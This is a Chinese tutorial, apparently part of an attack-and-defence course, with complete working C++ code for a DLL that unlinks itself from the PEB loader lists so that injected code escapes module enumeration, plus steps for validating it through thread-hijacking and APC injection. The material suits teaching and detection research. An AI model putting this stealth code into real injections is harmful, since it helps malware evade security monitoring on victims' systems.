阅读时间: 15-20 分钟
前置知识: 理解进程注入技术、Windows PEB 结构、双向链表数据结构
学习目标: 掌握 LDR 模块断链技术,实现完全隐形的 DLL 注入
📺 配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1dH2MBAEvg/
07-攻击篇-LDR模块断链:隐形DLL注入的终极绕过
承接上节:防御者的检测为何失效
上节课,防御者用 模块枚举 + 签名验证 检测到了我们的可疑模块:
- 原理:通过
EnumProcessModules() 函数遍历所有加载的 DLL
- 效果:成功列出模块列表,未签名的 DLL 无所遁形
作为攻击者,我们需要找到这个检测的盲区。
关键问题是:EnumProcessModules 到底是怎么获取模块列表的?
用IDA看清EnumProcessModules的真面目
为了找到突破口,我们用 IDA Pro 对 EnumProcessModules 函数进行反编译分析。
下图是 IDA 反编译的完整概览,展示了 EnumProcessModulesInternal 函数如何通过 PEB → LDR → 链表的方式枚举所有模块:

发现1:具体实现来自 EnumProcessModulesInternal
首先需要说明的是,在 Visual Studio 2022 中,EnumProcessModules 实际上是一个宏定义,它指向 K32EnumProcessModules 函数。
打开 IDA,定位到 K32EnumProcessModules,可以发现它内部调用了 EnumProcessModulesInternal 函数。
完整的调用链:
1 2 3 4 5
| EnumProcessModules (宏) ↓ K32EnumProcessModules (导出函数) ↓ EnumProcessModulesInternal (内部实现)
|
这个 EnumProcessModulesInternal 函数才是真正遍历模块链表的地方。
发现2:从PEB开始的三步走
让我们看看 EnumProcessModulesInternal 做了什么:
第一步:获取PEB地址

首先它通过 NtQueryInformationProcess 获取了 PEB(进程环境块)。
PEB 是什么? 进程环境块(Process Environment Block),Windows 为每个进程维护的一个数据结构,里面存储了进程的各种信息,包括加载的模块列表。
第二步:读取LDR指针

然后在 PEB+0x18 偏移处读取了一个值,这个值就是 PEB_LDR_DATA 结构的指针。
PEB_LDR_DATA 是什么? 加载器数据结构,专门用来管理进程中所有已加载的 DLL 模块。它维护了三个链表,分别按不同顺序记录模块信息。
第三步:读取模块链表

随后它又读取了 PEB_LDR_DATA 偏移 0x20 的地方,这就是 InMemoryOrderModuleList(内存顺序模块链表)。
InMemoryOrderModuleList 是什么? 一个双向链表,按照 DLL 在内存中的地址顺序组织所有已加载的模块。链表中的每个节点都包含一个 DLL 的信息(基址、名称等)。
发现3:链表遍历的关键步骤
拿到链表头后,IDA 中的代码开始循环遍历:

关键理解:
双向链表的结构:每个节点有两个指针
Flink(Forward Link)- 指向下一个节点
Blink(Backward Link)- 指向上一个节点
- 链表是循环的,从链表头的 Flink 开始遍历
- 直到 Flink 回指到链表头自己才停止
- 每个节点存储一个 DLL 的信息(LDR_DATA_TABLE_ENTRY)
LDR_DATA_TABLE_ENTRY 是什么? 加载器数据表项(Loader Data Table Entry),记录了单个 DLL 的详细信息:基址、大小、名称、入口点等。
发现4:还有另外两个链表
通过查看 PEB_LDR_DATA 结构定义,我们发现它维护了三个链表:
1 2 3 4 5 6 7 8 9
| struct _PEB_LDR_DATA { ULONG Length; UCHAR Initialized; VOID* SsHandle; struct _LIST_ENTRY InLoadOrderModuleList; struct _LIST_ENTRY InMemoryOrderModuleList; struct _LIST_ENTRY InInitializationOrderModuleList; };
|
为什么有三个链表?
这三个链表记录的是同一批 DLL,只是组织顺序不同:
InLoadOrderModuleList(0x10) - 按 DLL 加载的时间顺序排列
比如:ntdll.dll 总是第一个被加载,所以它排在最前面
InMemoryOrderModuleList(0x20) - 按 DLL 在内存中的地址顺序排列
比如:基址在 0x10000000 的 DLL 排在基址 0x20000000 的前面
InInitializationOrderModuleList(0x30) - 按 DLL 初始化的顺序排列
加载和初始化不是同时进行的,初始化顺序可能与加载顺序不同
攻击者启示:
防御工具可能用这三个链表中的任意一个来遍历,所以我们必须从所有三个链表中都断链,才能真正隐身。
绕过思路:断链让DLL”隐身”
通过 IDA 分析,我们发现了防御工具的致命依赖:
- EnumProcessModules 必须遍历 LDR 链表 - 这是它获取 DLL 列表的唯一途径
- 链表在用户态内存 - PEB 和 LDR 结构都在我们进程的地址空间,我们有权限直接修改
- 链表操作很简单 - 双向链表的断链只需要改两个指针(Flink 和 Blink)
- 断链后就彻底消失 - 遍历逻辑会自动跳过被断链的节点
既然防御工具完全依赖这个链表,那我们的绕过思路就很清晰了:
在 DLL 加载时,把自己从 PEB 的三个 LDR 链表中”摘掉”,让枚举函数遍历时跳过我们。
核心方案:
- 获取当前进程的 PEB 地址(通过
NtQueryInformationProcess)
- 访问 PEB 中的 LDR 数据结构(PEB+0x18)
- 找到代表当前 DLL 的
LDR_DATA_TABLE_ENTRY 节点
- 执行双向链表的断链操作(修改 Flink 和 Blink 指针)
- 对三个链表都执行断链(加载顺序 0x10、内存顺序 0x20、初始化顺序 0x30)
用”隐身斗篷”来比喻:
- 防御者的工具相当于”点名簿”,通过遍历名单发现所有人
- 我们的断链操作就像”撕掉点名簿中的那一页”
- 虽然人还在那里(内存中),但名单上找不到
双向链表断链原理
在写代码之前,我们需要理解双向链表的断链操作:
1 2 3 4 5 6 7 8 9 10 11 12 13
| typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY;
currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink;
|
关键:只需要修改前后节点的指针,让它们互相指向,跳过当前节点即可。
链表断链前后对比
下图展示了模块链表在断链前后的实际状态变化:
断链前:DLL 还在 LDR 链表中

断链后:DLL 已从链表中移除,但仍在内存中

三个链表的偏移计算
LDR_DATA_TABLE_ENTRY 结构中有三个 LIST_ENTRY 成员:
1 2 3 4 5 6 7 8
| typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; } MY_LDR_DATA_TABLE_ENTRY;
|
为什么要计算偏移:
- 遍历
InLoadOrderLinks 时,链表指针直接指向结构体起始位置(偏移 0x00)
- 遍历
InMemoryOrderLinks 时,链表指针指向偏移 0x10 处,需要向前回退 0x10 字节
- 遍历
InInitializationOrderLinks 时,链表指针指向偏移 0x20 处,需要向前回退 0x20 字节
动手实现:从零开始写断链DLL
现在让我们一步一步写出这个 DLL。
为什么这次要写 DLL 而不是 EXE?
之前的绕过代码(如 APC 注入、线程劫持)我们都是写在 EXE 里的,但这次必须用 DLL,原因是:
核心问题:我们需要在目标进程内部修改目标进程的 PEB 链表。
技术原因分析:
PEB 是进程私有的 - 每个进程有自己的 PEB,A 进程无法直接修改 B 进程的 PEB(需要用 WriteProcessMemory,但操作复杂且容易出错)
断链必须在目标进程内执行 - 如果用 EXE 从外部修改:
- 需要先
ReadProcessMemory 读取整个链表结构
- 计算新的指针地址
- 用
WriteProcessMemory 写回去
- 中间可能因为多线程导致链表被修改,产生竞争条件
DLL 天然运行在目标进程 - 当 DLL 被注入后:
- 它的代码直接在目标进程的地址空间执行
- 可以直接访问当前进程的 PEB(通过
GetCurrentProcess())
- 操作简单、直接、可靠
类比理解:
- EXE 方式:像站在房外,透过窗户用遥控器操作房间里的家具(麻烦、不精确)
- DLL 方式:像进入房间,直接用手移动家具(简单、直接)
所以这次我们要把断链代码写在 DLL 的入口函数 DllMain 中,然后通过注入技术(远程线程、APC 等)把它加载到目标进程。
第一步:搭建 DLL 基本框架
打开 Visual Studio,创建一个新的 C++ 源文件,命名为 07-攻击篇-LDR模块断链-DLL.cpp。
首先包含必要的头文件,然后写出完整的 DLL 入口函数框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <windows.h> #include <winternl.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { if (PerformUnlinkInternal(hModule)) { MessageBoxA(NULL, "注入成功!\n\nDLL已从模块链表中断链,\n绕过了模块枚举检测。", "LDR模块断链演示", MB_OK | MB_ICONINFORMATION); } else { MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR); } } return TRUE; }
|
关键理解:
DLL_PROCESS_ATTACH 在 DLL 被加载到进程时触发(只触发一次)
- 核心的断链逻辑封装在
PerformUnlinkInternal() 函数中,它接收当前 DLL 的句柄 hModule 作为参数
- 通过弹窗来验证 DLL 是否成功执行(但防御工具将看不到这个 DLL)
第二步:定义 PEB 和 LDR 结构体
为了访问 PEB 链表,我们需要自己定义相关结构体(Windows 不公开这些定义)。
在文件开头(#include 下方)添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| typedef struct _MY_PEB { UCHAR InheritedAddressSpace; UCHAR ReadImageFileExecOptions; UCHAR BeingDebugged; UCHAR BitField; UCHAR Padding0[4]; PVOID Mutant; PVOID ImageBaseAddress; struct _MY_PEB_LDR_DATA* Ldr; } MY_PEB, *PMY_PEB;
typedef struct _MY_PEB_LDR_DATA { ULONG Length; UCHAR Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
|
关键理解:
PEB.Ldr 指向加载器数据
PEB_LDR_DATA 包含三个链表,每个链表都记录所有 DLL(只是顺序不同)
LDR_DATA_TABLE_ENTRY 是链表节点,代表一个 DLL
第三步:写函数获取 PEB 地址
现在我们需要一个函数来获取当前进程的 PEB 地址。
先定义 NtQueryInformationProcess 函数原型:
1 2 3 4 5 6 7
| typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
|
然后写获取 PEB 的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| PMY_PEB GetCurrentProcessPEB() { static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;
if (!NtQueryInfoProcess) { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress( hNtdll, "NtQueryInformationProcess"); if (!NtQueryInfoProcess) return nullptr; }
HANDLE hCurrentProcess = GetCurrentProcess(); PROCESS_BASIC_INFORMATION pbi = {0}; NTSTATUS status = NtQueryInfoProcess( hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);
return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr; }
|
关键理解:
NtQueryInformationProcess 是 Native API(在 ntdll.dll 中)
ProcessBasicInformation 可以获取包含 PEB 地址的结构体
- 用
static 变量缓存函数地址,避免重复查找
第四步:实现断链核心函数
现在开始写最核心的断链逻辑。我们需要从三个链表中都移除当前 DLL 的节点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| BOOL PerformUnlinkInternal(HMODULE hDllModule) { if (!hDllModule) { return FALSE; }
PVOID dllBaseToUnlink = hDllModule;
PMY_PEB peb = GetCurrentProcessPEB(); if (!peb) { return FALSE; }
PMY_PEB_LDR_DATA ldr = peb->Ldr; if (!ldr) { return FALSE; }
BOOL found = FALSE;
return found; }
|
接下来逐一处理三个链表。
第五步:断开链表 1 - InLoadOrderLinks(加载顺序)
在 PerformUnlinkInternal 函数的 TODO 位置,添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink; while (currentEntry != &ldr->InLoadOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
|
代码解释 1:为什么这行可以直接转换?
1
| PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
|
因为 InLoadOrderLinks 是结构体的第一个成员(偏移 0x00):
1 2 3 4 5
| 内存布局示例(假设结构体在 0x1000): 0x1000 ← 结构体起始地址 0x1000 ← InLoadOrderLinks 的地址(第一个成员) 0x1010 ← InMemoryOrderLinks 的地址 0x1020 ← InInitializationOrderLinks 的地址
|
在 C/C++ 中,结构体的第一个成员地址 = 结构体起始地址。
所以:
currentEntry 指向 0x1000(InLoadOrderLinks)
- 转换后
ldrEntry 也指向 0x1000(结构体起始地址)
- 两者地址相同,可以直接转换!
代码解释 2:断链操作的原理
1 2
| currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink;
|
双向链表的断链操作本质是改变指针:
1 2 3 4 5
| 原来:A <-> B <-> C 断链 B: A.Flink = C (原本指向 B,现在指向 C) C.Blink = A (原本指向 B,现在指向 A) 结果:A <-> C (B 消失)
|
用代码表示:
1 2
| B->Blink->Flink = B->Flink; B->Flink->Blink = B->Blink;
|
第六步:断开链表 2 - InMemoryOrderLinks(内存顺序)
继续在刚才的代码下方添加:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| currentEntry = ldr->InMemoryOrderModuleList.Flink; while (currentEntry != &ldr->InMemoryOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
|
关键理解:
为什么要减去 sizeof(LIST_ENTRY)?
1 2 3 4 5 6 7 8 9 10
| 结构体布局: +0x00: InLoadOrderLinks ← 第一个 LIST_ENTRY +0x10: InMemoryOrderLinks ← 第二个 LIST_ENTRY (当前链表) +0x20: InInitializationOrderLinks +0x30: DllBase ...
当前链表指针指向 +0x10 位置 要获取结构体起始地址,需要:currentEntry - 0x10 即:currentEntry - sizeof(LIST_ENTRY)
|
第七步:断开链表 3 - InInitializationOrderLinks(初始化顺序)
继续添加第三个链表的处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| currentEntry = ldr->InInitializationOrderModuleList.Flink; while (currentEntry != &ldr->InInitializationOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
|
关键理解:
第三个链表在偏移 0x20 位置,需要向前回退 32 字节:
1 2 3
| 当前链表指针指向 +0x20 位置 结构体起始地址 = currentEntry - 0x20 即:currentEntry - 2 * sizeof(LIST_ENTRY)
|
完整代码
将上面各步组合在一起,得到完整的断链 DLL 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208
| #include <windows.h> #include <winternl.h>
#if !defined(_WIN64) #error "此程序必须以 x64 模式编译" #endif
typedef struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
typedef struct _MY_PEB_LDR_DATA { ULONG Length; UCHAR Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_PEB { UCHAR InheritedAddressSpace; UCHAR ReadImageFileExecOptions; UCHAR BeingDebugged; UCHAR BitField; UCHAR Padding0[4]; PVOID Mutant; PVOID ImageBaseAddress; PMY_PEB_LDR_DATA Ldr; } MY_PEB, *PMY_PEB;
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
PMY_PEB GetCurrentProcessPEB() { static pNtQueryInformationProcess NtQueryInfoProcess = nullptr;
if (!NtQueryInfoProcess) { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"); if (!NtQueryInfoProcess) return nullptr; }
HANDLE hCurrentProcess = GetCurrentProcess(); PROCESS_BASIC_INFORMATION pbi = {0}; NTSTATUS status = NtQueryInfoProcess(hCurrentProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);
return (status == 0) ? (PMY_PEB)pbi.PebBaseAddress : nullptr; }
BOOL PerformUnlinkInternal(HMODULE hDllModule) { if (!hDllModule) { return FALSE; }
PVOID dllBaseToUnlink = hDllModule;
PMY_PEB peb = GetCurrentProcessPEB(); if (!peb) { return FALSE; }
PMY_PEB_LDR_DATA ldr = peb->Ldr; if (!ldr) { return FALSE; }
BOOL found = FALSE;
PLIST_ENTRY currentEntry = ldr->InLoadOrderModuleList.Flink; while (currentEntry != &ldr->InLoadOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)currentEntry;
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
currentEntry = ldr->InMemoryOrderModuleList.Flink; while (currentEntry != &ldr->InMemoryOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
currentEntry = ldr->InInitializationOrderModuleList.Flink; while (currentEntry != &ldr->InInitializationOrderModuleList) { PMY_LDR_DATA_TABLE_ENTRY ldrEntry = (PMY_LDR_DATA_TABLE_ENTRY)((PBYTE)currentEntry - 2 * sizeof(LIST_ENTRY));
if (ldrEntry->DllBase == dllBaseToUnlink) { currentEntry->Blink->Flink = currentEntry->Flink; currentEntry->Flink->Blink = currentEntry->Blink; found = TRUE; break; }
currentEntry = currentEntry->Flink; }
return found; }
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) { if (PerformUnlinkInternal(hModule)) { MessageBoxA(NULL, "注入成功!\n\nDLL已从模块链表中断链,\n绕过了模块枚举检测。", "LDR模块断链演示", MB_OK | MB_ICONINFORMATION); } else { MessageBoxA(NULL, "断链失败!", "错误", MB_OK | MB_ICONERROR); } } return TRUE; }
|
验证效果
对比防御工具
实验步骤:
- 启动上节课的防御工具
06-防御篇-检测模块归属.exe,设置持续监控
- 使用远程线程注入或APC注入技术,将
07-攻击篇-LDR模块断链-DLL.dll 注入到目标进程
- DLL加载后会自动执行断链操作,然后弹出提示框
- 观察防御工具的反应
结果对比
| 检测方式 |
防御工具预期 |
实际结果 |
绕过结论 |
| 模块枚举 (EnumProcessModules) |
❌ 应该列出所有DLL |
❌ 我们的DLL消失了 |
✅ 绕过成功 |
| 数字签名检查 |
❌ 应该检查DLL签名 |
❌ 找不到这个DLL |
✅ 绕过成功 |
| 白名单检查 |
❌ 应该标记可疑 |
❌ 无法检查已消失的DLL |
✅ 完全隐形 |
实际验证效果
通过不同的注入方式验证断链效果:
使用线程劫持注入验证:

使用 APC 注入验证:

优势与局限
优势
- 彻底隐形:绕过所有基于模块枚举的检测(EnumProcessModules、GetModuleHandle等)
- 技术通用:可以配合CreateRemoteThread、APC注入、SET Window Hook等多种注入方式
- 代码简洁:核心逻辑只需要30行左右的链表操作
- 防御困难:即使看到DLL的内存内容,也很难重建链表信息
局限
只隐形了模块枚举:
- 仍然可以通过内存扫描发现DLL的存在
- 仍然可以通过堆栈跟踪追踪到DLL的代码
- 仍然可以被更高级的检测工具(如驱动级监控)发现
留下了执行痕迹:
- DLL执行时的API调用可以被Hook
- 线程栈中可能有DLL的返回地址
- ETW等事件跟踪可能记录加载事件
环境依赖:
- 只在Windows 7及以上版本有效
- 某些安全软件可能对PEB的访问进行监控
- 某些系统补丁可能改变PEB结构,导致偏移量失效
防御者的反制:
- 防御者可以验证LDR链表的完整性(检查链表是否被篡改)
- 防御者可以遍历进程的内存页面,发现隐形DLL
- 防御者可以使用驱动级回调监控PEB的修改